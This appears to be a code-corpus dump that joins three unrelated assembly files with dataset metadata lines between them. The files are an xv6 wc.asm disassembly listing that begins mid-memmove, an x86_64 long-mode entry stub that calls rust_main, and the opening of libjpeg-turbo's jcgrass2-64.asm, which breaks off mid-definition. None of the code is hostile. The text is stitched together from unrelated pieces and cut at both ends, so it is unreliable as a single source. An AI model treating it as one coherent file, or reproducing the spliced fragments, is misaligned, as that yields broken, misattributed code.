mov %esp,%ebp 3d2: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 3d5: 8b 45 08 mov 0x8(%ebp),%eax 3d8: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 3db: 8b 45 0c mov 0xc(%ebp),%eax 3de: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 3e1: eb 17 jmp 3fa <memmove+0x2b> *dst++ = *src++; 3e3: 8b 55 f8 mov -0x8(%ebp),%edx 3e6: 8d 42 01 lea 0x1(%edx),%eax 3e9: 89 45 f8 mov %eax,-0x8(%ebp) 3ec: 8b 45 fc mov -0x4(%ebp),%eax 3ef: 8d 48 01 lea 0x1(%eax),%ecx 3f2: 89 4d fc mov %ecx,-0x4(%ebp) 3f5: 0f b6 12 movzbl (%edx),%edx 3f8: 88 10 mov %dl,(%eax) while(n-- > 0) 3fa: 8b 45 10 mov 0x10(%ebp),%eax 3fd: 8d 50 ff lea -0x1(%eax),%edx 400: 89 55 10 mov %edx,0x10(%ebp) 403: 85 c0 test %eax,%eax 405: 7f dc jg 3e3 <memmove+0x14> return vdst; 407: 8b 45 08 mov 0x8(%ebp),%eax } 40a: c9 leave 40b: c3 ret 0000040c <restorer>: 40c: 83 c4 0c add $0xc,%esp 40f: 5a pop %edx 410: 59 pop %ecx 411: 58 pop %eax 412: c3 ret 00000413 <signal>: "pop %ecx\n\t" "pop %eax\n\t" "ret\n\t"); int signal(int signum, void(*handler)(int)) { 413: 55 push %ebp 414: 89 e5 mov %esp,%ebp 416: 83 ec 08 sub $0x8,%esp signal_restorer(restorer); 419: 83 ec 0c sub $0xc,%esp 41c: 68 0c 04 00 00 push $0x40c 421: e8 ce 00 00 00 call 4f4 <signal_restorer> 426: 83 c4 10 add $0x10,%esp return signal_register(signum, handler); 429: 83 ec 08 sub $0x8,%esp 42c: ff 75 0c push 0xc(%ebp) 42f: ff 75 08 push 0x8(%ebp) 432: e8 b5 00 00 00 call 4ec <signal_register> 437: 83 c4 10 add $0x10,%esp 43a: c9 leave 43b: c3 ret 0000043c <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 43c: b8 01 00 00 00 mov $0x1,%eax 441: cd 40 int $0x40 443: c3 ret 00000444 <exit>: SYSCALL(exit) 444: b8 02 00 00 00 mov $0x2,%eax 449: cd 40 int $0x40 44b: c3 ret 0000044c <wait>: SYSCALL(wait) 44c: b8 03 00 00 00 mov $0x3,%eax 451: cd 40 int $0x40 453: c3 ret 00000454 <pipe>: SYSCALL(pipe) 454: b8 04 00 00 00 mov $0x4,%eax 459: cd 40 int $0x40 45b: c3 ret 0000045c <read>: SYSCALL(read) 45c: b8 05 00 00 00 mov $0x5,%eax 461: cd 40 int $0x40 463: c3 ret 00000464 <write>: SYSCALL(write) 464: b8 10 00 00 00 mov $0x10,%eax 469: cd 40 int $0x40 46b: c3 ret 0000046c <close>: SYSCALL(close) 46c: b8 15 00 00 00 mov $0x15,%eax 471: cd 40 int $0x40 473: c3 ret 00000474 <kill>: SYSCALL(kill) 474: b8 06 00 00 00 mov $0x6,%eax 479: cd 40 int $0x40 47b: c3 ret 0000047c <exec>: SYSCALL(exec) 47c: b8 07 00 00 00 mov $0x7,%eax 481: cd 40 int $0x40 483: c3 ret 00000484 <open>: SYSCALL(open) 484: b8 0f 00 00 00 mov $0xf,%eax 489: cd 40 int $0x40 48b: c3 ret 0000048c <mknod>: SYSCALL(mknod) 48c: b8 11 00 00 00 mov $0x11,%eax 491: cd 40 int $0x40 493: c3 ret 00000494 <unlink>: SYSCALL(unlink) 494: b8 12 00 00 00 mov $0x12,%eax 499: cd 40 int $0x40 49b: c3 ret 0000049c <fstat>: SYSCALL(fstat) 49c: b8 08 00 00 00 mov $0x8,%eax 4a1: cd 40 int $0x40 4a3: c3 ret 000004a4 <link>: SYSCALL(link) 4a4: b8 13 00 00 00 mov $0x13,%eax 4a9: cd 40 int $0x40 4ab: c3 ret 000004ac <mkdir>: SYSCALL(mkdir) 4ac: b8 14 00 00 00 mov $0x14,%eax 4b1: cd 40 int $0x40 4b3: c3 ret 000004b4 <chdir>: SYSCALL(chdir) 4b4: b8 09 00 00 00 mov $0x9,%eax 4b9: cd 40 int $0x40 4bb: c3 ret 000004bc <dup>: SYSCALL(dup) 4bc: b8 0a 00 00 00 mov $0xa,%eax 4c1: cd 40 int $0x40 4c3: c3 ret 000004c4 <getpid>: SYSCALL(getpid) 4c4: b8 0b 00 00 00 mov $0xb,%eax 4c9: cd 40 int $0x40 4cb: c3 ret 000004cc <sbrk>: SYSCALL(sbrk) 4cc: b8 0c 00 00 00 mov $0xc,%eax 4d1: cd 40 int $0x40 4d3: c3 ret 000004d4 <sleep>: SYSCALL(sleep) 4d4: b8 0d 00 00 00 mov $0xd,%eax 4d9: cd 40 int $0x40 4db: c3 ret 000004dc <uptime>: SYSCALL(uptime) 4dc: b8 0e 00 00 00 mov $0xe,%eax 4e1: cd 40 int $0x40 4e3: c3 ret 000004e4 <halt>: SYSCALL(halt) 4e4: b8 16 00 00 00 mov $0x16,%eax 4e9: cd 40 int $0x40 4eb: c3 ret 000004ec <signal_register>: SYSCALL(signal_register) 4ec: b8 17 00 00 00 mov $0x17,%eax 4f1: cd 40 int $0x40 4f3: c3 ret 000004f4 <signal_restorer>: SYSCALL(signal_restorer) 4f4: b8 18 00 00 00 mov $0x18,%eax 4f9: cd 40 int $0x40 4fb: c3 ret 000004fc <mprotect>: SYSCALL(mprotect) 4fc: b8 19 00 00 00 mov $0x19,%eax 501: cd 40 int $0x40 503: c3 ret 00000504 <cowfork>: SYSCALL(cowfork) 504: b8 1a 00 00 00 mov $0x1a,%eax 509: cd 40 int $0x40 50b: c3 ret 0000050c <dsbrk>: SYSCALL(dsbrk) 50c: b8 1b 00 00 00 mov $0x1b,%eax 511: cd 40 int $0x40 513: c3 ret 00000514 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 514: 55 push %ebp 515: 89 e5 mov %esp,%ebp 517: 83 ec 18 sub $0x18,%esp 51a: 8b 45 0c mov 0xc(%ebp),%eax 51d: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 520: 83 ec 04 sub $0x4,%esp 523: 6a 01 push $0x1 525: 8d 45 f4 lea -0xc(%ebp),%eax 528: 50 push %eax 529: ff 75 08 push 0x8(%ebp) 52c: e8 33 ff ff ff call 464 <write> 531: 83 c4 10 add $0x10,%esp } 534: 90 nop 535: c9 leave 536: c3 ret 00000537 <printint>: static void printint(int fd, int xx, int base, int sgn) { 537: 55 push %ebp 538: 89 e5 mov %esp,%ebp 53a: 83 ec 28 sub $0x28,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 53d: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 544: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 548: 74 17 je 561 <printint+0x2a> 54a: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 54e: 79 11 jns 561 <printint+0x2a> neg = 1; 550: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 557: 8b 45 0c mov 0xc(%ebp),%eax 55a: f7 d8 neg %eax 55c: 89 45 ec mov %eax,-0x14(%ebp) 55f: eb 06 jmp 567 <printint+0x30> } else { x = xx; 561: 8b 45 0c mov 0xc(%ebp),%eax 564: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 567: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 56e: 8b 4d 10 mov 0x10(%ebp),%ecx 571: 8b 45 ec mov -0x14(%ebp),%eax 574: ba 00 00 00 00 mov $0x0,%edx 579: f7 f1 div %ecx 57b: 89 d1 mov %edx,%ecx 57d: 8b 45 f4 mov -0xc(%ebp),%eax 580: 8d 50 01 lea 0x1(%eax),%edx 583: 89 55 f4 mov %edx,-0xc(%ebp) 586: 0f b6 91 e0 09 00 00 movzbl 0x9e0(%ecx),%edx 58d: 88 54 05 dc mov %dl,-0x24(%ebp,%eax,1) }while((x /= base) != 0); 591: 8b 4d 10 mov 0x10(%ebp),%ecx 594: 8b 45 ec mov -0x14(%ebp),%eax 597: ba 00 00 00 00 mov $0x0,%edx 59c: f7 f1 div %ecx 59e: 89 45 ec mov %eax,-0x14(%ebp) 5a1: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 5a5: 75 c7 jne 56e <printint+0x37> if(neg) 5a7: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 5ab: 74 2d je 5da <printint+0xa3> buf[i++] = '-'; 5ad: 8b 45 f4 mov -0xc(%ebp),%eax 5b0: 8d 50 01 lea 0x1(%eax),%edx 5b3: 89 55 f4 mov %edx,-0xc(%ebp) 5b6: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 5bb: eb 1d jmp 5da <printint+0xa3> putc(fd, buf[i]); 5bd: 8d 55 dc lea -0x24(%ebp),%edx 5c0: 8b 45 f4 mov -0xc(%ebp),%eax 5c3: 01 d0 add %edx,%eax 5c5: 0f b6 00 movzbl (%eax),%eax 5c8: 0f be c0 movsbl %al,%eax 5cb: 83 ec 08 sub $0x8,%esp 5ce: 50 push %eax 5cf: ff 75 08 push 0x8(%ebp) 5d2: e8 3d ff ff ff call 514 <putc> 5d7: 83 c4 10 add $0x10,%esp while(--i >= 0) 5da: 83 6d f4 01 subl $0x1,-0xc(%ebp) 5de: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 5e2: 79 d9 jns 5bd <printint+0x86> } 5e4: 90 nop 5e5: 90 nop 5e6: c9 leave 5e7: c3 ret 000005e8 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 5e8: 55 push %ebp 5e9: 89 e5 mov %esp,%ebp 5eb: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 5ee: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 5f5: 8d 45 0c lea 0xc(%ebp),%eax 5f8: 83 c0 04 add $0x4,%eax 5fb: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 5fe: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 605: e9 59 01 00 00 jmp 763 <printf+0x17b> c = fmt[i] & 0xff; 60a: 8b 55 0c mov 0xc(%ebp),%edx 60d: 8b 45 f0 mov -0x10(%ebp),%eax 610: 01 d0 add %edx,%eax 612: 0f b6 00 movzbl (%eax),%eax 615: 0f be c0 movsbl %al,%eax 618: 25 ff 00 00 00 and $0xff,%eax 61d: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 620: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 624: 75 2c jne 652 <printf+0x6a> if(c == '%'){ 626: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 62a: 75 0c jne 638 <printf+0x50> state = '%'; 62c: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 633: e9 27 01 00 00 jmp 75f <printf+0x177> } else { putc(fd, c); 638: 8b 45 e4 mov -0x1c(%ebp),%eax 63b: 0f be c0 movsbl %al,%eax 63e: 83 ec 08 sub $0x8,%esp 641: 50 push %eax 642: ff 75 08 push 0x8(%ebp) 645: e8 ca fe ff ff call 514 <putc> 64a: 83 c4 10 add $0x10,%esp 64d: e9 0d 01 00 00 jmp 75f <printf+0x177> } } else if(state == '%'){ 652: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 656: 0f 85 03 01 00 00 jne 75f <printf+0x177> if(c == 'd'){ 65c: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 660: 75 1e jne 680 <printf+0x98> printint(fd, *ap, 10, 1); 662: 8b 45 e8 mov -0x18(%ebp),%eax 665: 8b 00 mov (%eax),%eax 667: 6a 01 push $0x1 669: 6a 0a push $0xa 66b: 50 push %eax 66c: ff 75 08 push 0x8(%ebp) 66f: e8 c3 fe ff ff call 537 <printint> 674: 83 c4 10 add $0x10,%esp ap++; 677: 83 45 e8 04 addl $0x4,-0x18(%ebp) 67b: e9 d8 00 00 00 jmp 758 <printf+0x170> } else if(c == 'x' || c == 'p'){ 680: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 684: 74 06 je 68c <printf+0xa4> 686: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 68a: 75 1e jne 6aa <printf+0xc2> printint(fd, *ap, 16, 0); 68c: 8b 45 e8 mov -0x18(%ebp),%eax 68f: 8b 00 mov (%eax),%eax 691: 6a 00 push $0x0 693: 6a 10 push $0x10 695: 50 push %eax 696: ff 75 08 push 0x8(%ebp) 699: e8 99 fe ff ff call 537 <printint> 69e: 83 c4 10 add $0x10,%esp ap++; 6a1: 83 45 e8 04 addl $0x4,-0x18(%ebp) 6a5: e9 ae 00 00 00 jmp 758 <printf+0x170> } else if(c == 's'){ 6aa: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 6ae: 75 43 jne 6f3 <printf+0x10b> s = (char*)*ap; 6b0: 8b 45 e8 mov -0x18(%ebp),%eax 6b3: 8b 00 mov (%eax),%eax 6b5: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 6b8: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 6bc: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 6c0: 75 25 jne 6e7 <printf+0xff> s = "(null)"; 6c2: c7 45 f4 d7 09 00 00 movl $0x9d7,-0xc(%ebp) while(*s != 0){ 6c9: eb 1c jmp 6e7 <printf+0xff> putc(fd, *s); 6cb: 8b 45 f4 mov -0xc(%ebp),%eax 6ce: 0f b6 00 movzbl (%eax),%eax 6d1: 0f be c0 movsbl %al,%eax 6d4: 83 ec 08 sub $0x8,%esp 6d7: 50 push %eax 6d8: ff 75 08 push 0x8(%ebp) 6db: e8 34 fe ff ff call 514 <putc> 6e0: 83 c4 10 add $0x10,%esp s++; 6e3: 83 45 f4 01 addl $0x1,-0xc(%ebp) while(*s != 0){ 6e7: 8b 45 f4 mov -0xc(%ebp),%eax 6ea: 0f b6 00 movzbl (%eax),%eax 6ed: 84 c0 test %al,%al 6ef: 75 da jne 6cb <printf+0xe3> 6f1: eb 65 jmp 758 <printf+0x170> } } else if(c == 'c'){ 6f3: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 6f7: 75 1d jne 716 <printf+0x12e> putc(fd, *ap); 6f9: 8b 45 e8 mov -0x18(%ebp),%eax 6fc: 8b 00 mov (%eax),%eax 6fe: 0f be c0 movsbl %al,%eax 701: 83 ec 08 sub $0x8,%esp 704: 50 push %eax 705: ff 75 08 push 0x8(%ebp) 708: e8 07 fe ff ff call 514 <putc> 70d: 83 c4 10 add $0x10,%esp ap++; 710: 83 45 e8 04 addl $0x4,-0x18(%ebp) 714: eb 42 jmp 758 <printf+0x170> } else if(c == '%'){ 716: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 71a: 75 17 jne 733 <printf+0x14b> putc(fd, c); 71c: 8b 45 e4 mov -0x1c(%ebp),%eax 71f: 0f be c0 movsbl %al,%eax 722: 83 ec 08 sub $0x8,%esp 725: 50 push %eax 726: ff 75 08 push 0x8(%ebp) 729: e8 e6 fd ff ff call 514 <putc> 72e: 83 c4 10 add $0x10,%esp 731: eb 25 jmp 758 <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 733: 83 ec 08 sub $0x8,%esp 736: 6a 25 push $0x25 738: ff 75 08 push 0x8(%ebp) 73b: e8 d4 fd ff ff call 514 <putc> 740: 83 c4 10 add $0x10,%esp putc(fd, c); 743: 8b 45 e4 mov -0x1c(%ebp),%eax 746: 0f be c0 movsbl %al,%eax 749: 83 ec 08 sub $0x8,%esp 74c: 50 push %eax 74d: ff 75 08 push 0x8(%ebp) 750: e8 bf fd ff ff call 514 <putc> 755: 83 c4 10 add $0x10,%esp } state = 0; 758: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) for(i = 0; fmt[i]; i++){ 75f: 83 45 f0 01 addl $0x1,-0x10(%ebp) 763: 8b 55 0c mov 0xc(%ebp),%edx 766: 8b 45 f0 mov -0x10(%ebp),%eax 769: 01 d0 add %edx,%eax 76b: 0f b6 00 movzbl (%eax),%eax 76e: 84 c0 test %al,%al 770: 0f 85 94 fe ff ff jne 60a <printf+0x22> } } } 776: 90 nop 777: 90 nop 778: c9 leave 779: c3 ret 0000077a <free>: static Header base; static Header *freep; void free(void *ap) { 77a: 55 push %ebp 77b: 89 e5 mov %esp,%ebp 77d: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 780: 8b 45 08 mov 0x8(%ebp),%eax 783: 83 e8 08 sub $0x8,%eax 786: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 789: a1 08 0c 00 00 mov 0xc08,%eax 78e: 89 45 fc mov %eax,-0x4(%ebp) 791: eb 24 jmp 7b7 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 793: 8b 45 fc mov -0x4(%ebp),%eax 796: 8b 00 mov (%eax),%eax 798: 39 45 fc cmp %eax,-0x4(%ebp) 79b: 72 12 jb 7af <free+0x35> 79d: 8b 45 f8 mov -0x8(%ebp),%eax 7a0: 3b 45 fc cmp -0x4(%ebp),%eax 7a3: 77 24 ja 7c9 <free+0x4f> 7a5: 8b 45 fc mov -0x4(%ebp),%eax 7a8: 8b 00 mov (%eax),%eax 7aa: 39 45 f8 cmp %eax,-0x8(%ebp) 7ad: 72 1a jb 7c9 <free+0x4f> for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 7af: 8b 45 fc mov -0x4(%ebp),%eax 7b2: 8b 00 mov (%eax),%eax 7b4: 89 45 fc mov %eax,-0x4(%ebp) 7b7: 8b 45 f8 mov -0x8(%ebp),%eax 7ba: 3b 45 fc cmp -0x4(%ebp),%eax 7bd: 76 d4 jbe 793 <free+0x19> 7bf: 8b 45 fc mov -0x4(%ebp),%eax 7c2: 8b 00 mov (%eax),%eax 7c4: 39 45 f8 cmp %eax,-0x8(%ebp) 7c7: 73 ca jae 793 <free+0x19> break; if(bp + bp->s.size == p->s.ptr){ 7c9: 8b 45 f8 mov -0x8(%ebp),%eax 7cc: 8b 40 04 mov 0x4(%eax),%eax 7cf: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 7d6: 8b 45 f8 mov -0x8(%ebp),%eax 7d9: 01 c2 add %eax,%edx 7db: 8b 45 fc mov -0x4(%ebp),%eax 7de: 8b 00 mov (%eax),%eax 7e0: 39 c2 cmp %eax,%edx 7e2: 75 24 jne 808 <free+0x8e> bp->s.size += p->s.ptr->s.size; 7e4: 8b 45 f8 mov -0x8(%ebp),%eax 7e7: 8b 50 04 mov 0x4(%eax),%edx 7ea: 8b 45 fc mov -0x4(%ebp),%eax 7ed: 8b 00 mov (%eax),%eax 7ef: 8b 40 04 mov 0x4(%eax),%eax 7f2: 01 c2 add %eax,%edx 7f4: 8b 45 f8 mov -0x8(%ebp),%eax 7f7: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 7fa: 8b 45 fc mov -0x4(%ebp),%eax 7fd: 8b 00 mov (%eax),%eax 7ff: 8b 10 mov (%eax),%edx 801: 8b 45 f8 mov -0x8(%ebp),%eax 804: 89 10 mov %edx,(%eax) 806: eb 0a jmp 812 <free+0x98> } else bp->s.ptr = p->s.ptr; 808: 8b 45 fc mov -0x4(%ebp),%eax 80b: 8b 10 mov (%eax),%edx 80d: 8b 45 f8 mov -0x8(%ebp),%eax 810: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 812: 8b 45 fc mov -0x4(%ebp),%eax 815: 8b 40 04 mov 0x4(%eax),%eax 818: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 81f: 8b 45 fc mov -0x4(%ebp),%eax 822: 01 d0 add %edx,%eax 824: 39 45 f8 cmp %eax,-0x8(%ebp) 827: 75 20 jne 849 <free+0xcf> p->s.size += bp->s.size; 829: 8b 45 fc mov -0x4(%ebp),%eax 82c: 8b 50 04 mov 0x4(%eax),%edx 82f: 8b 45 f8 mov -0x8(%ebp),%eax 832: 8b 40 04 mov 0x4(%eax),%eax 835: 01 c2 add %eax,%edx 837: 8b 45 fc mov -0x4(%ebp),%eax 83a: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 83d: 8b 45 f8 mov -0x8(%ebp),%eax 840: 8b 10 mov (%eax),%edx 842: 8b 45 fc mov -0x4(%ebp),%eax 845: 89 10 mov %edx,(%eax) 847: eb 08 jmp 851 <free+0xd7> } else p->s.ptr = bp; 849: 8b 45 fc mov -0x4(%ebp),%eax 84c: 8b 55 f8 mov -0x8(%ebp),%edx 84f: 89 10 mov %edx,(%eax) freep = p; 851: 8b 45 fc mov -0x4(%ebp),%eax 854: a3 08 0c 00 00 mov %eax,0xc08 } 859: 90 nop 85a: c9 leave 85b: c3 ret 0000085c <morecore>: static Header* morecore(uint nu) { 85c: 55 push %ebp 85d: 89 e5 mov %esp,%ebp 85f: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 862: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 869: 77 07 ja 872 <morecore+0x16> nu = 4096; 86b: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 872: 8b 45 08 mov 0x8(%ebp),%eax 875: c1 e0 03 shl $0x3,%eax 878: 83 ec 0c sub $0xc,%esp 87b: 50 push %eax 87c: e8 4b fc ff ff call 4cc <sbrk> 881: 83 c4 10 add $0x10,%esp 884: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 887: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 88b: 75 07 jne 894 <morecore+0x38> return 0; 88d: b8 00 00 00 00 mov $0x0,%eax 892: eb 26 jmp 8ba <morecore+0x5e> hp = (Header*)p; 894: 8b 45 f4 mov -0xc(%ebp),%eax 897: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 89a: 8b 45 f0 mov -0x10(%ebp),%eax 89d: 8b 55 08 mov 0x8(%ebp),%edx 8a0: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 8a3: 8b 45 f0 mov -0x10(%ebp),%eax 8a6: 83 c0 08 add $0x8,%eax 8a9: 83 ec 0c sub $0xc,%esp 8ac: 50 push %eax 8ad: e8 c8 fe ff ff call 77a <free> 8b2: 83 c4 10 add $0x10,%esp return freep; 8b5: a1 08 0c 00 00 mov 0xc08,%eax } 8ba: c9 leave 8bb: c3 ret 000008bc <malloc>: void* malloc(uint nbytes) { 8bc: 55 push %ebp 8bd: 89 e5 mov %esp,%ebp 8bf: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 8c2: 8b 45 08 mov 0x8(%ebp),%eax 8c5: 83 c0 07 add $0x7,%eax 8c8: c1 e8 03 shr $0x3,%eax 8cb: 83 c0 01 add $0x1,%eax 8ce: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 8d1: a1 08 0c 00 00 mov 0xc08,%eax 8d6: 89 45 f0 mov %eax,-0x10(%ebp) 8d9: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 8dd: 75 23 jne 902 <malloc+0x46> base.s.ptr = freep = prevp = &base; 8df: c7 45 f0 00 0c 00 00 movl $0xc00,-0x10(%ebp) 8e6: 8b 45 f0 mov -0x10(%ebp),%eax 8e9: a3 08 0c 00 00 mov %eax,0xc08 8ee: a1 08 0c 00 00 mov 0xc08,%eax 8f3: a3 00 0c 00 00 mov %eax,0xc00 base.s.size = 0; 8f8: c7 05 04 0c 00 00 00 movl $0x0,0xc04 8ff: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 902: 8b 45 f0 mov -0x10(%ebp),%eax 905: 8b 00 mov (%eax),%eax 907: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 90a: 8b 45 f4 mov -0xc(%ebp),%eax 90d: 8b 40 04 mov 0x4(%eax),%eax 910: 39 45 ec cmp %eax,-0x14(%ebp) 913: 77 4d ja 962 <malloc+0xa6> if(p->s.size == nunits) 915: 8b 45 f4 mov -0xc(%ebp),%eax 918: 8b 40 04 mov 0x4(%eax),%eax 91b: 39 45 ec cmp %eax,-0x14(%ebp) 91e: 75 0c jne 92c <malloc+0x70> prevp->s.ptr = p->s.ptr; 920: 8b 45 f4 mov -0xc(%ebp),%eax 923: 8b 10 mov (%eax),%edx 925: 8b 45 f0 mov -0x10(%ebp),%eax 928: 89 10 mov %edx,(%eax) 92a: eb 26 jmp 952 <malloc+0x96> else { p->s.size -= nunits; 92c: 8b 45 f4 mov -0xc(%ebp),%eax 92f: 8b 40 04 mov 0x4(%eax),%eax 932: 2b 45 ec sub -0x14(%ebp),%eax 935: 89 c2 mov %eax,%edx 937: 8b 45 f4 mov -0xc(%ebp),%eax 93a: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 93d: 8b 45 f4 mov -0xc(%ebp),%eax 940: 8b 40 04 mov 0x4(%eax),%eax 943: c1 e0 03 shl $0x3,%eax 946: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 949: 8b 45 f4 mov -0xc(%ebp),%eax 94c: 8b 55 ec mov -0x14(%ebp),%edx 94f: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 952: 8b 45 f0 mov -0x10(%ebp),%eax 955: a3 08 0c 00 00 mov %eax,0xc08 return (void*)(p + 1); 95a: 8b 45 f4 mov -0xc(%ebp),%eax 95d: 83 c0 08 add $0x8,%eax 960: eb 3b jmp 99d <malloc+0xe1> } if(p == freep) 962: a1 08 0c 00 00 mov 0xc08,%eax 967: 39 45 f4 cmp %eax,-0xc(%ebp) 96a: 75 1e jne 98a <malloc+0xce> if((p = morecore(nunits)) == 0) 96c: 83 ec 0c sub $0xc,%esp 96f: ff 75 ec push -0x14(%ebp) 972: e8 e5 fe ff ff call 85c <morecore> 977: 83 c4 10 add $0x10,%esp 97a: 89 45 f4 mov %eax,-0xc(%ebp) 97d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 981: 75 07 jne 98a <malloc+0xce> return 0; 983: b8 00 00 00 00 mov $0x0,%eax 988: eb 13 jmp 99d <malloc+0xe1> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 98a: 8b 45 f4 mov -0xc(%ebp),%eax 98d: 89 45 f0 mov %eax,-0x10(%ebp) 990: 8b 45 f4 mov -0xc(%ebp),%eax 993: 8b 00 mov (%eax),%eax 995: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 998: e9 6d ff ff ff jmp 90a <malloc+0x4e> } } 99d: c9 leave 99e: c3 ret
35.399698
60
0.422965
[ "MIT" ]
Aravinda214/XV6
xv6/wc.asm
46,940
Assembly
global long_mode_start extern rust_main section .text bits 64 long_mode_start: ; load 0 into all data segment registers mov ax, 0 mov ss, ax mov ds, ax mov es, ax mov fs, ax mov gs, ax ; call the rust main extern rust_main call rust_main ; print `OKAY` to screen mov rax, 0x2f592f412f4b2f4f mov qword [0xb8000], rax hlt
17.181818
44
0.650794
[ "MIT" ]
Napokue/MyOs
src/arch/x86_64/long_mode_init.asm
378
Assembly
; ; jcgrass2-64.asm - grayscale colorspace conversion (64-bit SSE2) ; ; x86 SIMD extension for IJG JPEG library ; Copyright (C) 1999-2006, MIYASAKA Masaru. ; Copyright (C) 2011, D. R. Commander. ; For conditions of distribution and use, see copyright notice in jsimdext.inc ; ; This file should be assembled with NASM (Netwide Assembler), ; can *not* be assembled with Microsoft's MASM or any compatible ; assembler (including Borland's Turbo Assembler). ; NASM is available from http://nasm.sourceforge.net/ or ; http://sourceforge.net/project/showfiles.php?group_id=6208 ; ; [TAB8] %include "jsimdext.inc" ; -------------------------------------------------------------------------- %define SCALEBITS 16 F_0_114 equ 7471 ; FIX(0.11400) F_0_250 equ 16384 ; FIX(0.25000) F_0_299 equ 19595 ; FIX(0.29900) F_0_587 equ 38470 ; FIX(0.58700) F_0_337 equ (F_0_587 - F_0_250) ; FIX(0.58700) - FIX(0.25000) ; -------------------------------------------------------------------------- SECTION SEG_CONST alignz 16 global EXTN(jconst_rgb_gray_convert_sse2) PRIVATE EXTN(jconst_rgb_gray_convert_sse2): PW_F0299_F0337 times 4 dw F_0_299, F_0_337 PW_F0114_F0250 times 4 dw F_0_114, F_0_250 PD_ONEHALF times 4 dd (1 << (SCALEBITS-1)) alignz 16 ; -------------------------------------------------------------------------- SECTION SEG_TEXT BITS 64 %include "jcgryss2-64.asm" %undef RGB_RED %undef RGB_GREEN %undef RGB_BLUE %undef RGB_PIXELSIZE %define RGB_RED 0 %define RGB_GREEN 1 %define RGB_BLUE 2 %define RGB_PIXELSIZE 3 %define jsimd_rgb_gray_convert_sse2 jsimd_extrgb_gray_convert_sse2 %include "jcgryss2-64.asm" %undef RGB_RED %undef RGB_GREEN %undef RGB_BLUE %undef RGB_PIXELSIZE %define RGB_RED 0 %define RGB_GREEN 1 %define RGB_BLUE 2 %define RGB_PIXELSIZE 4 %define jsimd_rgb_gray_convert_sse2 jsimd_extrgbx_gray_convert_sse2 %include "jcgryss2-64.asm" %undef RGB_RED %undef RGB_GREEN %undef RGB_BLUE %undef RGB_PIXELSIZE %define RGB_RED 2 %define RGB_GREEN 1 %define RGB_BLUE 0 